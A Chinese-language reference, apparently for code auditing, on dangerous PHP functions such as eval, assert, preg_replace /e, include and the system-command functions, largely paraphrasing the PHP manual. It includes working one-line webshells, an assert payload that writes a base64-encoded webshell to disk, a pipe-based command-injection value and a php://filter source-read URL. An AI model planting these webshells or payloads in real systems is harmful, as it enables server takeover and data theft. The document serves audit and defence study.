PHP代碼執行函數
eval & assert & preg_replace
eval 函數
php官方手冊:http://php.net/manual/zh/function.eval.php
eval (PHP 4, PHP 5, PHP 7)
eval —— 把字符串作為PHP代碼執行
說明:
mixed eval ( string $code )
把字符串 code 作為PHP代碼執行。
注意:
函數 eval() 語言結構是 非常危險的, 因為它允許執行任意 PHP 代碼。 它這樣用是很危險的。如果您仔細的確認過,除了使用此結構以外 別無方法, 請多加注意,不要允許傳入任何由用戶 提供的、未經完整驗證過的數據。
參數
code:
需要被執行的字符串
代碼不能包含打開/關閉 PHP tags。比如,'echo "Hi!";' 不能這樣傳入:'<?php echo "Hi!"; ?>'。但仍然可以用合適的 PHP tag 來離開、重新進入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";' 。
除此之外,傳入的必須是有效的 PHP 代碼。所有的語句必須以分號結尾。比如'echo "Hi!"'會導致一個 parse error,而'echo "Hi!";'則會正常運行。
return 語句會立即中止當前字符串的執行。
代碼執行的作用域是調用 eval() 處的作用域。因此,eval() 里任何的變量定義、修改,都會在函數結束后被保留。
返回值
eval() 返回 NULL,除非在執行的代碼中return了一個值,函數返回傳遞給return的值。 PHP 7 開始,執行的代碼里如果有一個 parse error,eval()會拋出 ParseError 異常。在 PHP 7 之前, 如果在執行的代碼中有 parse error,eval()返回FALSE,之后的代碼將正常執行。無法使用 set_error_handler()捕獲 eval()中的解析錯誤。
簡單說
mixed eval ( string $code ) 把字符串 $code 作為PHP代碼執行。
很多常見的 webshell 都是用eval 來執行具體操作的。
<?php @eval($_POST['v']);?> —— 常見的一句話木馬。
eval一般出現的場景是
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
assert 函數
PHP手冊:http://php.net/manual/zh/function.assert.php
(PHP 4, PHP 5, PHP 7)PHP7 有不同,請看PHP手冊。這里不多說了。
說明
bool assert ( mixed $assertion [, string $description ] )
檢查一個斷言是否為 FALSE。(把字符串 $assertion 作為PHP代碼執行)
編寫代碼時,我們總是會做出一些假設,斷言就是用于在代碼中捕捉這些假設,可以將斷言看作是異常處理的一種高級形式。程序員斷言在程序中的某個特定點該的表達式值為真。如果該表達式為假,就中斷操作。
斷言一詞來自邏輯學,在邏輯學中,“斷言”是“斷定一個特定前提為真的陳述”,在軟件測試中也是類似的含義。可以理解為斷定一個表達式結果為真,不為真就通過拋異常或者其他方式使這個測試用例失敗。
assert() 會檢查指定的 assertion 并在結果為 FALSE 時采取適當的行動。
assertions
如果 assertion 是字符串,它將會被 assert() 當做 PHP 代碼來執行。 assertion 是字符串的優勢是當禁用斷言時它的開銷會更小,并且在斷言失敗時消息會包含 assertion 表達式。 這意味著如果你傳入了 boolean 的條件作為 assertion,這個條件將不會顯示為斷言函數的參數;在調用你定義的 assert_options() 處理函數時,條件會轉換為字符串,而布爾值 FALSE 會被轉換成空字符串。
斷言這個功能應該只被用來調試。 你應該用于完整性檢查時測試條件是否始終應該為 TRUE,來指示某些程序錯誤,或者檢查具體功能的存在(類似擴展函數或特定的系統限制和功能)。
斷言不應該用于普通運行時操作,類似輸入參數的檢查。 作為一個經驗法則,在斷言禁用時你的代碼也應該能夠正確地運行。
assert() 的行為可以通過 assert_options() 來配置,或者手冊頁面上描述的 .ini 設置。
參數
assertion
斷言。在PHP5中必須是string型或Boolean型。在PHP,可以是任何有返回值的表達式
description
如果 assertion 失敗了,選項 description 將會包括在失敗信息里。
返回值
assertion 是 false 則返回 FALSE,否則是 TRUE。
簡單說
檢查一個斷言是否為 FALSE。
assert() 會檢查指定的 assertion 并在結果為 FALSE 時采取適當的行動。
如果 assertion 是字符串,它將會被 assert() 當做 PHP 代碼來執行。
因為大多數殺毒軟件把 eval 列入黑名單了,所以用 assert 來替代eval 來執行具體操作的。
<?php $_GET[a]($_GET[b]);?> //一句話木馬
//payload: ?a=assert&b={fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwJF9QT1NUW2NdKTsgPz4))};
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5
waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWw
oJF9QT1NUW2NdKTsgPz4x%29%29};
preg_replace 函數
preg_replace — 執行一個正則表達式的搜索和替換
http://php.net/manual/zh/function.preg-replace.php
說明
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement進行替換。
參數
pattern
要搜索的模式。可以使一個字符串或字符串數組。可以使用一些PCRE修飾符。
replacement
用于替換的字符串或字符串數組。
如果這個參數是一個字符串,并且 pattern 是一個數組,那么所有的模式都使用這個字符串進行替換。
如果 pattern 和 replacement 都是數組,每個pattern 使用replacement 中對應的元素進行替換。
如果replacement 中的元素比pattern 中的少, 多出來的pattern 使用空字符串進行替換。
replacement 中可以包含后向引用\\n
或$n
,語法上首選后者。 每個這樣的引用將被匹配到的第n個捕獲子組捕獲到的文本替換。 n 可以是0-99,\\0
和 $0
代表完整的模式匹配文本。
當在替換模式下工作并且后向引用后面緊跟著需要是另外一個數字(比如:在一個匹配模式后緊接著增加一個原文數字)。
當使用被棄用的 e 修飾符時, 這個函數會轉義一些字符(即:'、"、 \ 和 NULL) 然后進行后向引用替換。當這些完成后請確保后向引用解析完后沒有單引號或 雙引號引起的語法錯誤(比如: 'strlen(\'$1\')+strlen("$2")'
)。確保符合PHP的 字符串語法,并且符合eval語法。因為在完成替換后, 引擎會將結果字符串作為php代碼使用eval方式進行評估并將返回值作為最終參與替換的字符串。
subject
要進行搜索和替換的字符串或字符串數組。
如果subject是一個數組,搜索和替換回在subject 的每一個元素上進行, 并且返回值也會是一個數組。
limit
每個模式在每個subject上進行替換的最大次數。默認是 -1(無限)。
count
如果指定,將會被填充為完成的替換次數。
返回值
如果subject是一個數組, preg_replace()返回一個數組, 其他情況下返回一個字符串。
如果匹配被查找到,替換后的subject被返回,其他情況下 返回沒有改變的 subject。如果發生錯誤,返回 NULL 。
錯誤/異常
PHP 5.5.0 起, 傳入 "\e" 修飾符的時候,會產生一個 E_DEPRECATED 錯誤; PHP 7.0.0 起,會產生 E_WARNING 錯誤,同時 "\e" 也無法起效。
簡單說
preg_replace — 執行一個正則表達式的搜索和替換
/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼
preg_replace("/test/e",$_GET["h"],"jutst test");
如果我們提交 ?h=phpinfo(),/e就會將h參數當做PHP代碼,phpinfo()將會被執行。
create_function
create_function — 創建一個匿名函數。
http://php.net/manual/zh/function.create-function.php
string create_function ( string $args , string $code )
創建一個匿名函數,并返回獨一無二的函數名。
$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');
就相當于system('whoami');
call_user_func
call_user_func — 把第一個參數作為回調函數調用
http://php.net/manual/zh/function.call-user-func.php
說明
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一個參數 callback 是被調用的回調函數,其余參數是回調函數的參數。
參數
callback
將被調用的回調函數(callable)。
parameter
0個或以上的參數,被傳入回調函數。
Note:
請注意,傳入call_user_func()的參數不能為引用傳遞。
返回值
返回回調函數的返回值。
call_user_func_array
call_user_func_array — 調用回調函數,并把一個數組參數作為回調函數的參數
http://php.net/manual/zh/function.call-user-func-array.php
說明
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一個參數作為回調函數(callback)調用,把參數數組作(param_arr)為回調函數的的參數傳入。
參數
callback
被調用的回調函數。
param_arr
要被傳入回調函數的數組,這個數組得是索引數組。
返回值
返回回調函數的結果。如果出錯的話就返回FALSE
包含函數
require、include、require_once、include_once
包含函數 一共有四個,主要作用為包含并運行指定文件。
-
官方手冊:require
require 和 include 幾乎完全一樣,除了處理失敗的方式不同之外。require 在出錯時產生 E_COMPILE_ERROR 級別的錯誤。換句話說將導致腳本中止而 include 只產生警告(E_WARNING),腳本會繼續運行。 -
官方手冊:include
語句包含并運行指定文件。 -
官方手冊:require_once
require_once 語句和 require 語句完全相同,唯一區別是 PHP 會檢查該文件是否已經被包含過,如果是則不會再次包含。
參見 include_once 的文檔來理解 _once 的含義,并理解與沒有 _once 時候有什么不同。 -
官方手冊:include_once
include_once 語句在腳本執行期間包含并運行指定文件。此行為和 include 語句類似,唯一區別是如果該文件中已經被包含過,則不會再次包含。如同此語句名字暗示的那樣,只會包含一次。
include_once 可以用于在腳本執行期間同一個文件有可能被包含超過一次的情況下,想確保它只被包含一次以避免函數重定義,變量重新賦值等問題。
簡單說
include $file;
在變量 $file
可控的情況下,我們就可以包含任意文件,從而達到 getshell 的目的。
另外,在不同的配置環境下,可以包含不同的文件。
因此又分為遠程文件包含和本地文件包含。
包含函數也能夠讀取任意文件內容,這就需要用到【支持的協議和封裝協議】和【過濾器】。
例如,利用php流filter讀取任意文件
include($_GET['file']);
?file=php://filter/convert.base64-encode/resource=index.php
解釋:?file=php:// 協議 / 過濾器 / 文件
命令執行函數
- exec() — 執行一個外部程序
- passthru() — 執行外部程序并且顯示原始輸出
- proc_open() — 執行一個命令,并且打開用來輸入/輸出的文件指針。
- shell_exec() — 通過 shell 環境執行命令,并且將完整的輸出以字符串的方式返回。
- system() — 執行外部程序,并且顯示輸出
- popen() — 通過 popen() 的參數傳遞一條命令,并對 popen() 所打開的文件進行執行
程序執行函數:http://php.net/manual/zh/ref.exec.php
文件系統函數:http://php.net/manual/zh/ref.filesystem.php
執行函數包括但不限于上述幾個。
同樣的道理、只要命令的參數可控就能執行系統命令。
例如:
system( $cmd );
或者 system('ping -c 3 ' . $target );
當 $cmd 可控就能執行任意命令,
而當 $target 可控的話,可以用管道符等特殊字符截斷從而執行任意命令。
$target = 'a | whoami';
文件操作函數
? copy — 拷貝文件 http://php.net/manual/zh/function.copy.php
? file_get_contents — 將整個文件讀入一個字符串 http://php.net/manual/zh/function.file-get-contents.php
? file_put_contents — 將一個字符串寫入文件 http://php.net/manual/zh/function.file-put-contents.php
? file — 把整個文件讀入一個數組中 http://php.net/manual/zh/function.file.php
? fopen — 打開文件或者 URL http://php.net/manual/zh/function.fopen.php
? move_uploaded_file — 將上傳的文件移動到新位置 http://php.net/manual/zh/function.move-uploaded-file.php
? readfile — 輸出文件 http://php.net/manual/zh/function.readfile.php
? rename — 重命名一個文件或目錄 http://php.net/manual/zh/function.rename.php
? rmdir — 刪除目錄 http://php.net/manual/zh/function.rmdir.php
? unlink & delete — 刪除文件 http://php.net/manual/zh/function.unlink.php
任意文件讀取、寫入、刪除往往是上面幾個函數受到了控制(當然還有其他的函數)。
不同的函數在不同的場景有不同的作用和不同的利用手法。
讀取:可以讀取配置等文件,拿到key
寫入:可以寫入shell代碼相關的內容
刪除:可以刪除.lock文件而可以重新安裝覆蓋
更多思路請自行挖掘測試!!
文件系統函數:http://php.net/manual/zh/ref.filesystem.php
特殊函數
信息泄漏
phpinfo
bool phpinfo ([ int $what = INFO_ALL ] )
phpinfo — 輸出關于 PHP 配置的信息
輸出 PHP 當前狀態的大量信息,包含了 PHP 編譯選項、啟用的擴展、PHP 版本、服務器信息和環境變量(如果編譯為一個模塊的話)、PHP環境變量、操作系統版本信息、path 變量、配置選項的本地值和主值、HTTP 頭和PHP授權信息(License)。
因為每個系統安裝得有所不同,phpinfo() 常用于在系統上檢查 配置設置和 預定義變量。
phpinfo() 同時是個很有價值的、包含所有 EGPCS(Environment, GET, POST, Cookie, Server) 數據的調試工具。
軟連接-讀取文件內容
symlink
symlink — 建立符號連接
bool symlink ( string $target , string $link )
symlink() 對于已有的 target 建立一個名為 link 的符號連接。
readlink
readlink — 返回符號連接指向的目標
string readlink ( string $path )
readlink() 和同名的 C 函數做同樣的事,返回符號連接的內容。
環境變量
getenv
getenv — 獲取一個環境變量的值
string getenv ( string $varname )
獲取一個環境變量的值。
putenv
putenv — 設置環境變量的值
bool putenv ( string $setting )
添加 setting 到服務器環境變量。 環境變量僅存活于當前請求期間。 在請求結束時環境會恢復到初始狀態。
加載擴展
dl — 運行時載入一個 PHP 擴展
bool dl ( string $library )
載入指定參數 library 的 PHP 擴展。
配置相關
PHP 選項/信息 函數 http://php.net/manual/zh/ref.info.php
ini_get
ini_get — 獲取一個配置選項的值
string ini_get ( string $varname )
成功時返回配置選項的值。
ini_set
string ini_set ( string $varname , string $newvalue )
ini_alter
string ini_alter ( string $varname , string $newvalue )
設置指定配置選項的值。這個選項會在腳本運行時保持新的值,并在腳本結束時恢復。
ini_restore
void ini_restore ( string $varname )
恢復指定的配置選項到它的原始值。
數字判斷
is_numeric
bool is_numeric ( mixed $var )
如果 var 是數字和數字字符串則返回 TRUE,否則返回 FALSE。
僅用is_numeric判斷而不用intval轉換就有可能插入16進制的字符串到數據庫,進而可能導致sql二次注入。
數組相關
in_array
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 haystack 中搜索 needle,如果沒有設置 strict 則使用寬松的比較。
該函數有一個特性,比較之前會進行自動類型轉換。
$a = '1abc';
in_array($a,array(1,2,3))
的返回值會是真
變量覆蓋
parse_str
void parse_str ( string $str [, array &$arr ] )
如果 str 是 URL 傳遞入的查詢字符串(query string),則將它解析為變量并設置到當前作用域。
extract
int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]] )
本函數用來將變量從數組中導入到當前的符號表中。檢查每個鍵名看是否可以作為一個合法的變量名,同時也檢查和符號表中已有的變量名的沖突。
mb_parse_str
bool mb_parse_str ( string $encoded_string [, array &$result ] )
解析 GET/POST/COOKIE 數據并設置全局變量。 由于 PHP 不提供原始 POST/COOKIE 數據,目前它僅能夠用于 GET 數據。 它解析了 URL 編碼過的數據,檢測其編碼,并轉換編碼為內部編碼,然后設置其值為 array 的 result 或者全局變量。
import_request_variables
bool import_request_variables ( string $types [, string $prefix ] )
將 GET/POST/Cookie 變量導入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局變
量,那么此函數就很有用。
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first;
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>
輸出:valuefoo barbaz
列目錄
glob
array glob ( string $pattern [, int $flags = 0 ] )
glob() 函數依照 libc glob() 函數使用的規則尋找所有與 pattern 匹配的文件路徑,類似于一般 shells 所用的
規則一樣。不進行縮寫擴展或參數替代。
無參數獲取信息
get_defined_vars
array get_defined_vars ( void )
返回一個包含所有已定義變量列表的多維數組,這些變量包括環境變量、服務器變量和用戶定義的變量。
get_defined_constants
array get_defined_constants ([ bool $categorize = false ] )
返回當前所有已定義的常量名和值。 這包含 define() 函數所創建的,也包含了所有擴展所創建的。
get_defined_functions
array get_defined_functions ( void )
返回一個包含所有已定義函數列表的多維數組
get_included_files
array get_included_files ( void )
返回所有被 include、 include_once、 require 和 require_once 的文件名。